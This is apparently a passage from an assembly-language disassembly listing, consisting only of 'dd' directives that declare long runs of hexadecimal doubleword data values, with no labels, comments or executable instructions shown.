dd 75DB6738h, 21EFCE07h, 6B31EDFBh, 60F0C1D0h, 7F390064h
dd 0AA015323h, 0C40386E9h, 0DCC0E0A8h, 6221C8EAh, 5B7029h
dd 249ED813h, 93BE6971h, 375FF901h, 745EA391h, 2E4BC0h
dd 83DC29AEh, 0FCB95A76h, 0F05BB800h, 0DAA39003h, 60C7003Fh
dd 923D6A55h, 0B00E94Ch, 244296B3h, 9717CC5h, 37394FF4h
dd 69DAF00h, 7B001FFEh, 0D7FFF808h, 0FAFCA4Ah, 5FDC24F4h
dd 70EA3EE0h, 72139EECh, 0C700512Ah, 620AAC49h, 2F5C02DAh
dd 0F1D63233h, 0B81D4AC0h, 3C3D3800h, 90E5450Ah, 0EAE00C6h
dd 484FF58Eh, 300F681Ah, 0E7814D08h, 0D862AFCFh, 0ABF6400Eh
dd 71F600B2h, 0EE2F377Ch, 0C9001C44h, 21A76E18h, 0EA6BE75h
dd 0C789E878h, 9E27ED80h, 42014851h, 593C95DBh, 0F0E7830Bh
dd 17C45Ah, 573A8891h, 0F5EC3723h, 0D9144800h, 0E9222E87h
dd 0B0330047h, 0D42573DFh, 891F60B4h, 88024C8h, 0F9829632h
dd 0A4055CE8h, 68B43100h, 0B6539D2Ch, 2DD20B00h, 87EC985Dh
dd 0B8CF09F6h, 5800B9E1h, 0BD8A2142h, 60273B00h, 6B54B3BBh
dd 0FDA80026h, 44287243h, 1A00813Fh, 0E51E3D3Ch, 9CDA32h
dd 10F3EF06h, 60D4366Fh, 8854400Eh, 0AD04C0C1h, 26E386EDh
dd 88B6B1h, 1B056E20h, 87000BC0h, 99040E36h, 1C2E5A6h
dd 4AAEDD29h, 0E4F4C5E0h, 6E008E27h, 0A475AB77h, 0C49C83h
dd 0ADFCDAAh, 0FC2073Eh, 2803CA90h, 7663E4F0h, 0E4A88DAh
dd 8BD002Ch, 309E5ABBh, 0C0002B57h, 0F0AA9D69h, 0EC4CC11h
dd 4693DC62h, 15FD4E40h, 4000592h, 0EE736625h, 50A319h
dd 0C342214Bh, 0E47F1F70h, 0C780640Fh, 60B9AF33h, 0EC38FCD2h
dd 0C1FF00B4h, 0F73A1072h, 1901D07Dh, 0F1BB1C8Fh, 0D1C002C0h
dd 4DF92584h, 770000DCh, 0B10460E3h, 0BD7D5853h, 11985200h
dd 1AA5F1A7h, 5CC3DB00h, 7EACF99h, 647F0A6Bh, 5BE36C1h
dd 56AD0CEh, 0FA291091h, 98F3D280h, 0C3201D16h, 7F8404Eh
dd 6951B71h, 380623Ah, 0AB47F693h, 3CA5F878h, 7705016Fh
dd 8C253BACh, 0F0CBF946h, 13036C9Eh, 8D52D408h, 812EB0FBh
dd 6B1F4C1Eh, 78146603h, 4FD8EBDDh, 0DA00BD4Bh, 779E918Eh
dd 0BF9FC5h, 3E5C8528h, 611C9A1Dh, 0F30106F2h, 900F132Eh
dd 33D0B05Eh, 6F78DFh, 16CA858Ah, 377EA46Dh, 0EE2CD1Dh
dd 0D4DFEBC0h, 859D3Ah, 21F60787h, 0A27FBE16h, 8E24A800h
dd 0CCAA364Bh, 0BA97000Dh, 10E57552h, 41010616h, 0FE670AEDh
dd 0C07FD62Ch, 0A9F0C18Eh, 10298C00h, 4D5A24EEh, 0B2CB0099h
dd 7887FE5Ch, 0C7E065F0h, 8300BF7Fh, 516DDF75h, 56AD8h
dd 215C3467h, 0B2292F5Ah, 0AC3A8F1Ch, 0C3163980h, 2CBAF9Fh
dd 0FBEC9D7h, 6F405DAAh, 0BA1E1876h, 94DFEF17h, 6600AC97h
dd 0D1291523h, 386EE297h, 0E6AE3AF3h, 0C04A011Bh, 0ECD0F29Fh
dd 850304A0h, 5797F0C6h, 3F6D0C9h, 4C130089h, 10221238h
dd 0C700CF79h, 5C869E1Ah, 719188E8h, 8CE6B4h, 1104808Dh
dd 532430D5h, 0A16D6207h
dd 2EE0C0B0h, 70F676h, 0D64E26A6h, 0EC787175h, 3E143A00h
dd 0C2CE4D49h, 189D0007h, 0EE54D44Bh, 0AA006FC5h, 105BEDA0h
dd 3D0648h, 0F8FFD58Dh, 0C5E45AF5h, 1C43EC00h, 9442B084h
dd 6EF6007Fh, 7C6A3211h, 9F755173h, 4CEC4100h, 9B4BBAA1h
dd 16D5185Ah, 6E3B9071h, 8174FC00h, 8544AFD2h, 52250099h
dd 91BEE6F2h, 5A00FD6Fh, 9C33211Ch, 55F7E1h, 7883D5A8h
dd 0B6BED08Ch, 27034001h, 6C86C54Ch, 63C2C8h, 6A82B39Eh
dd 6E5883CAh, 0C589DD50h, 85BBA807h, 7A20A52Bh, 0D40CFFh
dd 26364831h, 46FAD1DEh, 35978500h, 16517A5Bh, 31020077h
dd 0C21A6AF1h, 9B00D54Eh, 887426D3h, 3B0F5907h, 1280B8EAh
dd 37C10148h, 0F3008B7Dh, 534C6AC2h, 1F30944Fh, 8F24915Eh
dd 87E04DB9h, 0FF94ECBh, 16899800h, 776A26AAh, 79C70706h
dd 703591D1h, 6C20BBE7h, 1009875h, 4D4BFAF6h, 0ECD805FEh
dd 0B1EF01B6h, 210D5227h, 2474D065h, 51076200h, 5BA29CB3h
dd 1DBF0067h, 3C88CBD4h, 0A3001F99h, 4407E824h, 0F022BBAh
dd 0FCD38C7Eh, 4AA0848Fh, 581C979Ah, 8F8DA43Ah, 0E030597Fh
dd 0B18A873Bh, 62FEBAh, 12E399BEh, 58A85A1Bh, 6AD28900h
dd 33B05185h, 6EAE01B1h, 0F5B814D0h, 0C26FE0EEh, 0D43D191Fh
dd 8B041F00h, 3AB7BB17h, 0EC808E8Ch, 0CD99B05Ch, 0FC7AB840h
dd 0FD007BE8h, 757E1528h, 4AFFADh, 6D1B2F22h, 0FE4E48C2h
dd 72B02500h, 0BC6EDC04h, 824400B7h, 0B811B4CAh, 0CC00A6C7h
dd 0CDADF750h, 1803F5h, 62ACB9A3h, 99AAE82Bh, 0C6DB6E03h
dd 0E83FAD11h, 0F387E63h, 0C8C7513Ch, 1A2EE640h, 0A7007201h
dd 0CFCC6D92h, 70EA1419h, 978B0012h, 0F32D204h, 0D9E0BC5Ah
dd 2FEE6E1Dh, 7615481h, 0C0E8454Bh, 0BF6B0EF9h, 5D804A99h
dd 0EDD13DFCh, 7BB8C201h, 0BECBB08Eh, 7A0F25ECh, 0C1060050h
dd 78A9E822h, 0A60FEF1Ch, 20C40205h, 9FCDEC13h, 42D707C2h
dd 30787A1Eh, 0DD45264Eh, 6D8C740Eh, 6EBFC0BDh, 965C69h
dd 5F3B393Eh, 792B1E51h, 57EC1A03h, 0E1E663A1h, 0CFC7502h
dd 8E430065h, 0C4DBC6D0h, 28003376h, 951A154Dh, 1D6DD0Fh
dd 185CA843h, 0DC01B3C0h, 130004F9h, 1203CE78h, 2AE3B9h
dd 22D94C67h, 0FBD28F88h, 0D0714D00h, 8185B826h, 19BC0090h
dd 0ABDE43A5h, 0BE004BDCh, 69F25F71h, 4C8EA2h, 0BA1C27DBh
dd 21ABF1F6h, 940948h, 28FC828Fh, 0BA7B3h, 2B42DE14h, 0A1122DBCh
dd 0D80013F8h, 49C998AEh, 7AAB7A9Ch, 0CBD0095h, 0CF16AC74h
dd 5500C0B1h, 99D4DE10h, 1CFE98C2h, 0C01A200Eh, 1B651E56h
dd 0A30013A2h, 53DDE6B7h, 7249F2h, 8FBA9152h, 0FF8ED751h
dd 0FF0B693Eh, 183A20Fh, 0D108C076h, 1FB64F57h, 0E4CE5Eh
dd 0AB50E55Bh, 5C001C31h, 0AF478735h, 0A0EFD0h, 0BF0B9529h
dd 9DE637A3h, 0DB061B04h, 8FC03E94h, 225B68h, 8478E31h
dd 59499C6Ch, 85399500h, 0F76952DBh, 242700FBh, 82338764h
dd 0D817A3B7h, 5200026Fh, 852E6752h, 0A57D0076h, 8EF3C87Eh
dd 0D001EB6Bh, 0E008AF1Bh, 9C6005B3h, 8DC001B6h, 0CDA17F7Ah
dd 1F6AF84Eh, 0D6AC2400h, 108B9CF8h, 5A704Bh, 0E2329709h
dd 273F9587h, 2D29B11Eh, 0AAB72040h, 61FF40h, 0C8833DDEh
dd 41A5228h, 0BAFEDDECh, 0CA00B97Ch, 0A58EC005h, 9C4FD65h
dd 0AA55BE7Ch, 639FB480h, 0FE0030BDh, 1BF34207h, 1CB10AE6h
dd 80249B86h, 1DA454D8h, 27009A06h, 5E5A022Dh, 7D57109Ch
dd 8CC33E64h, 0D8116280h, 82ACAFD7h, 4FFA4700h, 488493F6h
dd 7D287FE4h, 7E037F91h, 0C1B0160Fh, 9CFD40C8h, 7FDF3A13h
dd 4E365B00h, 0CF969B5Fh, 8D4000DAh, 0EA7D2934h, 10061DFh
dd 452B9A2h, 15938Fh, 71121E8Ch, 0B7279F43h, 0BDF53D00h
dd 0D384784Dh, 83F2008Bh, 0EAF3F4ADh, 0EB00428Eh, 0D7015875h
dd 0B6A597h, 0AF2C7782h, 71E6B23h, 1004A660h, 0E61B5567h
dd 0F7D84C37h, 4B26B307h, 4679E06Bh, 9900F954h, 0B9AFC58Fh
dd 25CE74h, 0BEE7EF05h, 0A0C629D4h, 9B228A1Ch, 0B1AEE4C0h
dd 0B6A979h, 7FE69D2Eh, 8291CB6Dh, 17CDC800h, 0D14AFBD4h
dd 0A4EC1647h, 3A6FF097h, 3C079AB8h, 0EAA7FF11h, 176DCE80h
dd 4336008Dh, 2E22BC6Ch, 1C00A40Ah, 5B395DA0h, 0F841FF6h
dd 0BF62D5D0h, 0B17543C0h, 0F90F2945h, 433C3A25h, 0B015077Dh
dd 5C1F2Bh, 5905611Ah, 1C30D99h, 41DD341Eh, 203A064Fh
dd 63747DDBh, 9CF68Ah, 32BD0427h, 0F4F21AFDh, 2096C500h
dd 0B8711765h, 5E750089h, 0F59DBD61h, 0E7058E62h, 0CCC09E77h
dd 4B148A80h, 0AF483ADAh, 7339C680h, 662635F5h, 0EB798300h
dd 4870C0BCh, 0D7A4018Ch, 68542356h, 0AA623063h, 12CF1000h
dd 2B25B694h, 0C7800045h, 0C2099336h, 0E6162767h, 0F00088A1h
dd 0E3977BEh, 0DB8D005Ch, 0CE268147h, 9801EB56h, 0BBBAF940h
dd 0D5C442E0h, 1F82E86Ah, 0C097ADEFh, 2FB9E23Ah, 6603998Ah
dd 0DB2C7348h, 90CCFBF5h, 3EE9A5FBh, 4F802912h, 0CBDFE48Dh
dd 0D7000772h, 436C925Dh, 1125FAh, 203C87B3h, 0F6D361E2h
dd 4D076D72h, 4C7DE073h, 0B14FE110h, 0E68D580Bh, 80A56300h
dd 7B3CA6B6h, 3D5E203Bh, 22AA0035h, 7E318FDAh, 0EAC00D2h
dd 39977989h, 2A0026D9h, 0E79A0310h, 0C94C5Fh, 99203898h
dd 6176A671h, 3CDC1100h, 6EAFBF65h, 0B6C7078Ch, 0A14F2263h
dd 0D4D5F407h, 0D01E2EDBh, 8C00CA78h, 0E9735F0h, 916501B5h
dd 0B88F8D37h, 2287E057h, 4E30C500h, 0D2AA71C8h, 0DA0C0126h
dd 0B7DF2D6Fh, 5006DC79h, 80A77A3Ch, 0EB75B582h, 56CB58h
dd 3F4C28BFh, 0B272F1C1h, 460086FCh, 0F7B9B3EDh, 83075h
dd 0E7EA8AD0h, 9493CC92h, 5C3904ECh, 0D038005h, 0A73F47C6h
dd 6B0F03B4h, 2B0E8CD8h, 0A17350CFh, 2800C7F9h, 6584A67Fh
dd 732859Eh, 4D786897h, 0B48CA09Bh, 3500AAD4h, 6571822Eh
dd 0B37AC7h, 0B89E5A81h, 0DA5B30C8h, 0FCAFD800h, 1267E208h
dd 25A1001Ah, 621B52CAh, 9600A42Fh, 977CECC7h, 1F9F80B3h
dd 4E4F70F8h, 8FDC39B4h, 55C0234Eh, 0C4AE8CA1h, 800E273h
dd 5E8A506h, 0E2DB572Fh, 3C0E7825h, 0E380C442h, 0A2AD2D4h
dd 0F30067B2h, 5D962BECh, 7920B3h, 0A17B238Ch, 143CE82Eh
dd 0AEF0C300h, 53FB52F3h, 457934h, 678EFFDh, 87E99EB7h
dd 14D29600h, 0AAAFA726h, 1B4D00D9h, 0E45605A0h, 0EB00E3B8h
dd 3EE7B90Ah, 0CE82F7h, 2572AED5h, 0F38E6643h, 191D9107h
dd 8190E915h, 738D75Eh, 0A98AC7A1h, 4067474Ch, 120709B8h
dd 23E93000h, 8F446480h, 0F24E00E8h, 0FFB86736h, 0D5B00D04h
dd 6156D200h, 3A956310h, 98E30052h, 2DCC3B65h, 352475DDh
dd 130008F8h, 0BE155490h, 6B5B0366h, 0EF88CB2Ch, 0E8BA84B9h
dd 2B01DA7Eh, 0E8E355C2h, 0E5C09A7Bh, 2CD200F0h, 0B97A3B9Dh
dd 26005781h, 66D11BE4h, 7060E02h, 0CC93B6F1h, 0BC9C705Ch
dd 8900ED9Fh, 2AF5237h, 80B260h, 8E458C0Bh, 6EDA51A0h
dd 0E1F05800h, 0C6D5FEAFh, 0C01D1ED2h, 0E4F900F1h, 1952B6D1h
dd 0A75F1B00h, 6E255C54h, 9D7901FAh, 307EE003h, 0F663DC05h
dd 0F3213A0Fh, 400F60A7h, 4188C0h, 77361ED0h, 4299BB3h
dd 731B3C00h, 71AD2232h, 8FB70C63h, 90887965h, 8ECB3600h
dd 0CDABD44Bh, 0E49900A5h, 40309E7Eh, 0D8004774h, 61C132EFh
dd 300F04CAh, 7D46B626h, 8100BE72h, 4A0BE7B5h, 29D295h
dd 70EF6E0Ah
dd 0B63352E6h, 5A002476h, 94817149h, 41B742h, 0DEC57719h
dd 0C80AD893h, 16597000h, 7BA4DA8Ah, 0F9092417h, 0A714002Ah
dd 3F4F45B8h, 0B5958B02h, 0C0C3AD4Ch, 3352EEBh, 0EA1C77Ch
dd 0DF80C25Fh, 2B002190h, 0BCD18914h, 0F77831Dh, 2368E8A4h
dd 40632C60h, 0AB001CE1h, 62BA5AAFh, 7A32815h, 395EB061h
dd 1620FE27h, 1EA5E54Fh, 305D9800h, 0FF61B891h, 0F52400A0h
dd 15686228h, 0DE1EFED6h, 97C1069Bh, 0A8ABA26Bh, 2E41A3D0h
dd 4DDE7CBh, 80AA2B16h, 29967DBCh, 0B3F31701h, 46817E70h
dd 6647DCh, 28506FC7h, 5A3D7591h, 52B1000h, 401767BEh
dd 0D48700B0h, 1CCBD9Ch, 901C7051h, 26C06B38h, 9E19D1A2h
dd 77750EE7h, 0EE26E09h, 0BD60BF3Bh, 5F00F2D3h, 611E850Bh
dd 1E238AA8h, 0B45D71Ah, 0A280B371h, 4A3E7BF4h, 8BFCD000h
dd 8A08F87Dh, 0EF830E29h, 316F94A2h, 8632D440h, 0AC00BF23h
dd 0FBD31F3Fh, 7717624h, 4BC88FD8h, 4F4A003Dh, 0CA00E6C5h
dd 6C067B45h, 3D23962h, 341F9611h, 3AB0E072h, 2200F35Dh
dd 0B8A5D975h, 4C41C018h, 0AA3B52A1h, 29DC0680h, 6F378EE6h
dd 57740D00h, 0DBDA9EAFh, 462D0ED7h, 422317ADh, 0A1DFE03h
dd 69807CFAh, 4C09D5B4h, 245072B7h, 0E78A78h, 46F1C4C2h
dd 0D32C0D1Dh, 2E00BAF7h, 42F43E7Ah, 0AF2A008Fh, 0DFB3F868h
dd 0B0033403h, 0B453FF18h, 0D52E9093h, 0C8E667h, 0BCA7C63h
dd 0F7110AF0h, 0D921FF00h, 0BE9536ABh, 434D00ECh, 57B2DC7Bh
dd 4F00693Eh, 67069E3Bh, 0AF4A93h, 48380F33h, 0ACF60DA4h
dd 0CD228600h, 28F30C77h, 0B4901CFDh, 2C1B80A0h, 0BEA9DE79h
dd 682E0F01h, 0DC61190Dh, 1D4034E8h, 8046D6BCh, 24525756h
dd 1901449Ah, 0C8A49BA1h, 0BDF516F9h, 0C6FECCh, 3E2794EEh
dd 290BC87h, 7A592B00h, 1C57D88h, 53BD001Ch, 7C6A3F72h
dd 970091CEh, 0F51158A5h, 0F80985F1h, 2B7C2Dh, 313D6B1Fh
dd 0A3FF3A23h, 4B648917h, 5361A500h, 1DE1151Eh, 8002E749h
dd 9BC557F4h, 271F3EEDh, 0F780BC96h, 59206710h, 2B460FACh
dd 2ACE1152h, 0D87EEDA0h, 3A009D95h, 84F28845h, 0E8B2CDh
dd 0EA2874D2h, 6586D1FBh, 45E2570Fh, 0F29EBF5h, 9CF2005Ch
dd 7215CFD5h, 0D3095CA7h, 0C0EDF31Ch, 0E0DB8B5Ch, 87030F9Bh
dd 0B00D20ADh, 0F740C794h, 1DC5785Fh, 8045D0EBh, 0B31DFE67h
dd 750420C8h, 59713851h, 81D00387h, 0F6A8B841h, 0EF2F1748h
dd 6FE5C04Eh, 0E8E06BA4h, 22EB9F00h, 0BCD448D2h, 0F3890088h
dd 256C8B7h, 0BA903CC5h, 0FB1F9A00h, 0A7B9267Ch, 0DAB41FEBh
dd 63FC081h, 438D8E76h, 3D39A200h, 0CFE55F79h, 862C39EFh
dd 8C1EA483h, 37D70DA1h, 538470A0h, 245C76B7h, 291B00C0h
dd 6B14F2C0h, 0D2E400F6h, 972B3921h, 1E003AB0h, 0DD4990BEh
dd 0B806FCh, 515E706Dh, 59C4AB82h, 2C753700h, 5F9041F0h
dd 564400BFh, 9EB38D98h, 0EE768B84h, 3D61AF00h, 1D16E847h
dd 0FD0807C4h, 2B7E7493h, 89F15E83h, 0D1AF9EF3h, 0D051C6A4h
dd 3B0A57B6h, 0B3BA4E06h, 94DE800Ah, 0ECAAD307h, 6CC4B534h
dd 127AC01h, 137F3C56h, 905200F5h, 0B2662F2h, 6DA19D00h
dd 5907188Eh, 0D09DA3F1h, 0E97D02h, 0B1351365h, 0ACE92F6h
dd 825C4A00h, 9A2FA82Bh, 133D3BF5h, 0A6588703h, 0A580F4D6h
dd 3000D0F1h, 6E3E0C0Ah, 179232Bh, 12377B29h, 0E47573D7h
dd 1F003AD9h, 0FBAAB652h, 51BFC5h, 0E9483933h, 174E9F2Dh
dd 0E64C8300h, 8A71B4C7h, 0FF380042h, 72083992h, 0BE07ABDFh
dd 79A1E3C6h, 6A0DDBD0h, 0E6760069h, 0F8FDF6F4h, 9100E5B1h
dd 8EA77FB6h, 0EC37B0h, 61AABC49h, 0F01F051Dh, 0B6552524h
dd 4CC33800h, 2902672h, 5A19E751h, 9B8067CBh, 0FEACC2D6h
dd 66009CE0h, 0F67EAECFh, 124D1Dh, 0F1D26A26h, 0B4C5D86h
dd 0B6881405h, 71C08DC3h, 16EA6B3h, 0A8ACBAB7h, 70E9F407h
dd 1D04DCF2h, 0A3802DC1h, 2917CFC0h, 0F26403B2h, 0CCD0B09Dh
dd 0C4747097h, 9009339h, 0ED4296F7h, 0AEB3E73h, 845E05E8h
dd 0D2A3009Ah, 34E97EC6h, 90148000h, 0F8593DEDh, 93BA00A4h
dd 66BB9E6Dh, 4AF82939h, 7EC49600h, 8EA680F2h, 0B6D90FC1h
dd 981FB58Ch, 446A08EDh, 61542C00h, 0F7306662h, 0CE7D2CE2h
dd 78330314h, 0EAC81288h, 1501208Fh, 60AA6A2Dh, 6BFC23B1h
dd 32A40262h, 294B761Ch, 28929EC0h, 0ECA6009h, 6EA0000Fh
dd 0AD804Ch, 0F8E7D9B0h, 5E12A282h, 0F4B49F00h, 0AAE51C59h
dd 244E0F1h, 5FDF54CFh, 28C00FD3h, 70048B3h, 950A0253h
dd 70B8DEAh, 0E7F01526h, 8B92068h, 9B007C7Ah, 3943B2FEh
dd 84E325h, 0EAFF0C95h, 27716BC3h, 47A22000h, 422BFC24h
dd 0EFD30E61h, 9A40F614h, 172D91C9h, 479948h, 0E13A3DA8h
dd 0E8310C5h, 0E07735F1h, 3117A920h, 0E20080C6h, 10D67108h
dd 60DF8D30h, 0BED526D7h, 0D03B7274h, 98B865h, 0E0808273h
dd 0B9CDD6h, 4934F002h, 0BEF94AC7h, 0E83B8400h, 5A6F387Fh
dd 275C0FF7h, 0ABEED976h, 9863BB40h, 7534F58Ch, 13C0D60Ah
dd 10AD90h, 1450C5CAh, 417CF895h, 38E8F239h, 6BF98068h
dd 65A0E6CFh, 0DF5F00A1h, 0CC0BC945h, 9D071B94h, 87BCFB83h
dd 33462B40h, 0A78B03B8h, 2506284Eh, 14B69EF8h, 8EE7011Eh
dd 0B2015FA6h, 0DA155D05h, 0C6D1E8h, 7060E4B6h, 0E5961094h
dd 4B9E9902h, 0C0DFA71Ah, 7DE9044Eh, 8772246Bh, 0E003885h
dd 9CE8BF8Ah, 0B03EFE8Dh, 0DC0D00BCh, 0B19EDE19h, 0E2A2B013h
dd 10C40072h, 5CE5ADCFh, 0B8005085h, 0C9644D30h, 3D642D8h
dd 1A0F887Ch, 0B9C8C146h, 0FC005E69h, 68210581h, 7C64A2D1h
dd 0C123B61h, 6B35DE80h, 3A7BAC7Eh, 87D7B600h, 0CD2A931Ch
dd 0E3A948EDh, 262D017Eh, 9B554A9Dh, 0A7CF40A3h, 5F3B46B9h
dd 8CA8018h, 2144AAB8h, 0A2120548h, 8011175Ch, 0DB523A7Ah
dd 95DC3103h, 0DB5E2242h, 4E19F15Fh, 3579DD0h, 6DAF9732h
dd 0CB80613Fh, 4700916Ch, 9B1C3A54h, 0EE569FF4h, 38FEC48h
dd 0D9451418h, 3EE0F7AFh, 25ECB6B4h, 51795B00h, 314B1240h
dd 9DA005Dh, 1EA8338h, 3A001897h, 139ED81Ah, 862B30h, 0BB76D128h
dd 0B8485219h, 8E6B2300h, 0FEEAE65Dh, 328F006Fh, 5EB77BABh
dd 7FCC2A4h, 703C4900h, 0A8A9DD4h, 0C0FB0158h, 0DE0BA652h
dd 396170C1h, 56F3AB00h, 23EDDC4Ch, 0F5020064h, 44317FBFh
dd 29008B95h, 5841EC4Bh, 0A0C9C193h, 4D09BFh, 7C79E94Ah
dd 5019B6D7h, 82328D00h, 0CF4884C7h, 54125846h, 358F4101h
dd 605C4B88h, 0F500FC1Ah, 8933C411h, 0CDFB76h, 71B2F645h
dd 0A150B57h, 0E6B19400h, 0D3FD8299h, 31EF00A6h, 0D45C661Ah
dd 411E24B5h, 0CB00DAECh, 134E64CFh, 0F8E60052h, 60E7915Eh
dd 8A01A97Bh, 0A83E2DE0h, 2AF8D8A6h, 8CE607B3h, 700AD146h
dd 30F8637h, 0A397CE01h, 83DDE705h, 0B902F0h, 9F91DA0h
dd 60C6F43Ah, 0BB9CFE00h, 37628186h, 6050027h, 2BE46942h
dd 0F200655Ch, 6D3EFA3Dh, 0F5756A22h, 1DE8D4FDh, 661E00E8h
dd 65F5DCAAh, 363DA43Fh, 0A5308064h, 0D05E8DF7h, 0EBF2001Dh
dd 46D9983Eh, 9DFCBD0Eh, 0BE405200h, 0E0394FB1h, 6D4A00E5h
dd 72CEA755h, 5A009054h, 67DA07C7h, 1FAB6BFBh, 8B30E5h
dd 5189F932h, 2D00CFE6h, 0BFF2BAD2h, 0B0FC3CBDh, 0FCEEF4A1h
dd 822E0001h, 735726E4h, 6B3DD7DCh, 88DF001Ah, 3ACB1CC6h
dd 2D390081h
dd 0CDAA7FC4h, 63007DBEh, 97F45838h, 0A0160A14h, 73BE1F7h
dd 96936F86h, 2467F071h, 3D3F2C21h, 29E051Eh, 5BB05706h
dd 740D07E0h, 90986D22h, 9FF691A6h, 49681701h, 0A06A348Ch
dd 0E08631D4h, 18D600C8h, 24A84B7Eh, 0E407F86Fh, 5AD19C5Ch
dd 0B81622D0h, 0BE331FBAh, 29FC004h, 432D03ABh, 7CE84100h
dd 44D38030h, 0C06E0025h, 78D55431h, 0B900796Ah, 77C45DFEh
dd 0FA26AAh, 5A383CDBh, 8D593093h, 0C54F9400h, 58A590CEh
dd 0DDE279h, 0D942E6D5h, 94828A04h, 891EE579h, 7E40137Bh
dd 2E1FCE4h, 6FC300FAh, 6463444Fh, 47000D3Bh, 0FC3D0410h
dd 4CF5B2h, 0A57169CCh, 295E32D2h, 142B9F00h, 0B690CFF8h
dd 2C9400BCh, 1E96AE98h, 810FE369h, 0E0CC9FF9h, 7663CDDBh
dd 0A89A00D6h, 0B58553CEh, 0F800050Ch, 0BD32FBFh, 6E3A39h
dd 7DADB012h, 2D7516C9h, 0F651C3Dh, 0C0135F5Ch, 49019DCCh
dd 4FD21D0Fh, 51803FA0h, 0DF3EE46Ah, 0DBFC6D04h, 9C9B3804h
dd 7CC0D9C0h, 10E3F67h, 0C8A07A93h, 0D1131D10h, 8B3CD49Ch
dd 0D8A91100h, 34EDE4C7h, 0B30E1EADh, 806F9D4Eh, 9CDC747Fh
dd 4603605Dh, 0C9448FF3h, 0A8FB90B9h, 0F167C36h, 31138C7Ch
dd 438E3CE0h, 513EC0F7h, 0DC18005Dh, 6D154BBDh, 0CE04006Bh
dd 52CB598Eh, 42003FC4h, 0AD9ED53h, 1EEB1369h, 924485h
dd 81CD48D3h, 15E290A1h, 0E3C873Eh, 0E3ABFF1Bh, 0F85BA0F2h
dd 265C4751h, 34DDE8h, 8CB1F821h, 69006F09h, 636C7168h
dd 467C72h, 1D362D9Ah, 0BA3AB34Eh, 0CF618401h, 0FF7E5DE7h
dd 0F47023D5h, 2F5500A2h, 528F2679h, 19018112h, 4A676B85h
dd 2F302B5Bh, 0C8353B2Fh, 0C72E181h, 206C18FEh, 9A763A6Eh
dd 7C64B700h, 0D5A7CA36h, 0B12C001Ch, 0A95B6D2Bh, 2F03AF60h
dd 5DFAA11Bh, 2A5B8BCh, 0C47E0508h, 0C07D1D5Ch, 0EA0E348Ch
dd 68350A00h, 0B6552B6Fh, 0CA6300A3h, 9D6E9081h, 20005A6Ah
dd 70F9420Eh, 311B5CC2h, 553A230Ah, 9D9E8FAh, 98008A7Bh
dd 0C9A97FB2h, 4F3B5Ch, 29A359FCh, 37069D4Ch, 0BDE81C0Fh
dd 0DA19A0A9h, 0F381ADh, 594DAA0Ah, 3E828668h, 0CD7A5C01h
dd 1109C03Ah, 9F6D35F8h, 4EE2B8C0h, 0F4B658h, 0DA42C138h
dd 7A6A4Dh, 44870C0Ah, 25C212ABh, 0B8B4B303h, 1CE0F8h
dd 0FE46AFB0h, 9E77C923h, 8D65E600h, 0DF1003DDh, 369A00AEh
dd 266F5E06h, 380F400Dh, 20D3BD49h, 0E0FE58A3h, 44A800C1h
dd 4B6E9EB6h, 3C00A522h, 1EC311C9h, 3A6284h, 1BBC7C67h
dd 0B1AE2CB5h, 5C7F6601h, 0C78AF37Dh, 71912FCCh, 0E6BD007Bh
dd 0E15EE238h, 4500E96Bh, 0A5D3CE19h, 3A32FBFFh, 0A880EABAh
dd 0AA76EF4Dh, 2D002C88h, 30CF5998h, 1CC19E0Fh, 40D135DAh
dd 0FAC9E616h, 630F4F7Ah, 0A033EB24h, 0B69BFD0Eh, 3EA672ABh
dd 0AE80BD6Eh, 18AC36F0h, 6406E219h, 60CC2E08h, 51930028h
dd 0AD384A89h, 41B88604h, 8A485A00h, 9DB5E5B2h, 0D5DA00C3h
dd 6C996409h, 0FA000D7Ah, 92F7B720h, 0B19EB37h, 8B9CF92Ah
dd 2E00BE8Fh, 0B921C4AFh, 0F4B45800h, 3B028C05h, 0BDF893h
dd 0B5F2EB15h, 0D0E22663h, 0A65F2EC0h, 563FD6h, 9B667284h
dd 52EF1CC3h, 0C00089E4h, 0BD73BEEh, 0B2042Dh, 0F43F20Ah
dd 0B322690Dh, 2BBA0200h, 0FCC9E3E8h, 0B0F90E9Ch, 0DD00484Fh
dd 281C640Eh, 0B400BBE8h, 0D45F66A2h, 11B7F9Eh, 0C5A03E49h
dd 0D84810BDh, 8F00631Dh, 7BCC908Dh, 142C278h, 0BE16B30Ah
dd 0F86C4671h, 4900C5D4h, 77348BBFh, 89CDC7h, 56019E98h
dd 2EE95B29h, 0E3382300h, 0CC859F54h, 943B00FCh, 6513F21Bh
dd 521DAF36h, 0A4417DE9h, 0DE1DB574h, 924CC03Eh, 3A0038A2h
dd 0F934B601h, 0E4949CE1h, 7D021D6Fh, 8ABC00E6h, 345EE51Ah
dd 0B705B600h, 0DCE0CD12h, 0F5BE0F97h, 0F44F51F2h, 78F86E0h
dd 8E0F1235h, 323E2BEBh, 0A777A500h, 1AABBEh, 15C86A1Eh
dd 0B66C4F96h, 0A568F901h, 5A480770h, 0F893D3D7h, 6FC1C2h
dd 391CC9A7h, 0D724C67Ah, 385D0800h, 78171B80h, 0C95F01F9h
dd 1CA84049h, 0FA05D0B1h, 46589B01h, 0F1EB6745h, 6CD8F0h
dd 2B93A10Ah, 0EC5B6036h, 103ABA00h, 2614EF18h, 0A6D201F7h
dd 164D8051h, 0ED0AC002h, 0CD18E800h, 0B65A0C54h, 0A8861E47h
dd 13148479h, 0E02987DDh, 7E361B1Ah, 31F2E200h, 4F76BFADh
dd 688A0393h, 6AEB2F0Ch, 0D5975A90h, 2E383F60h, 78C0E84h
dd 4BD46616h, 9333C075h, 0C3E0407h, 0E43EF38Fh, 4C468087h
dd 0B1F0A3FCh, 801024F3h, 34740042h, 952C6905h, 0A198A200h
dd 1D4EC659h, 6421121Ah, 470A000Ah, 0C90CB654h, 0A37C0913h
dd 1D561F00h, 8DDFACh, 0E34C6240h, 2D860ECFh, 0F4B27A00h
dd 28ACC321h, 41D000D8h, 0A7422A0Ah, 0F3030BC4h, 5D591347h
dd 1997C87Dh, 29AC074Bh, 11E84C88h, 0F47A1BC9h, 93000BA3h
dd 4F822154h, 0FAC1614h, 8EAAF565h, 6760AEEFh, 2B40D93h
dd 47F48C00h, 0BF625573h, 6EB700D1h, 4A42D2EAh, 0E0223ADh
dd 0CEF251D8h, 3BEEE09Ah, 85D50F7Ah, 868EA74Dh, 0B0AE53C0h
dd 0A00ABB3h, 0DC619F97h, 31FC63h, 1F0FE1C1h, 9B75E0A7h
dd 38F7B3Eh, 9A2BD0A0h, 0A290F7F3h, 0F1B9BFh, 0B881FA1Ah
